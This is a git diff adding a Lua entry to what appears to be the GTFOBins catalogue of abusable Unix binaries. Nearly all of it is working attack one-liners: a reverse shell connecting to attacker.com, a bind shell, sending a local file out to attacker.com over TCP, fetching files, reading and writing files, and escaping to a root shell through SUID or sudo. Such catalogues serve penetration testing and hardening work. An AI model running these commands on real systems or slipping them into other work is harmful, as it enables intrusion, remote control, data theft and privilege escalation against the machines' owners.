diff --git a/_gtfobins/lua.md b/_gtfobins/lua.md new file mode 100644 index 0000000..a5d3bca --- /dev/null +++ b/_gtfobins/lua.md @@ -0,0 +1,68 @@ +--- +functions: + execute-interactive: + - code: lua -e 'os.execute("/bin/sh")' + reverse-shell-non-interactive: + - description: Run nc -l -p 12345 on + the attacker box to receive the shell. This requires `lua-socket` installed. + code: | + export RHOST=attacker.com + export RPORT=12345 + lua -e 'local s=require("socket"); + local t=assert(s.tcp()); + t:connect(os.getenv("RHOST"),os.getenv("RPORT")); + while true do + local r,x=t:receive();local f=assert(io.popen(r,"r")); + local b=assert(f:read("*a"));t:send(b); + end; + f:close();t:close();' + bind-shell-non-interactive: + - description: Run `nc target.com 12345` on the attacker box to connect to the shell. This requires `lua-socket` installed. + code: | + export LPORT=12345 + lua -e 'local k=require("socket"); + local s=assert(k.bind("*",os.getenv("LPORT"))); + local c=s:accept(); + while true do + local r,x=c:receive();local f=assert(io.popen(r,"r")); + local b=assert(f:read("*a"));c:send(b); + end;c:close();f:close();' + upload: + - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` + on the attacker box to collect the file. This requires `lua-socket` installed. + code: | + RHOST=attacker.com + RPORT=12345 + LFILE=file_to_send + lua -e ' + local f=io.open(os.getenv("LFILE"), 'rb') + local d=f:read("*a") + io.close(f); + local s=require("socket"); + local t=assert(s.tcp()); + t:connect(os.getenv("RHOST"),os.getenv("RPORT")); + t:send(d); + t:close();' + download: + - description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 + < "file_to_send"` on the attacker box to send the file. This requires `lua-socket` installed. + code: | + export LPORT=12345 + export LFILE=file_to_save + lua -e 'local k=require("socket"); + local s=assert(k.bind("*",os.getenv("LPORT"))); + local c=s:accept(); + local d,x=c:receive("*a"); + c:close(); + local f=io.open(os.getenv("LFILE"), "wb"); + f:write(d); + io.close(f);' + file-write: + - code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);' + file-read: + - code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' + suid-limited: + - code: ./lua -e 'os.execute("/bin/sh")' + sudo-enabled: + - code: sudo lua -e 'os.execute("/bin/sh")' +---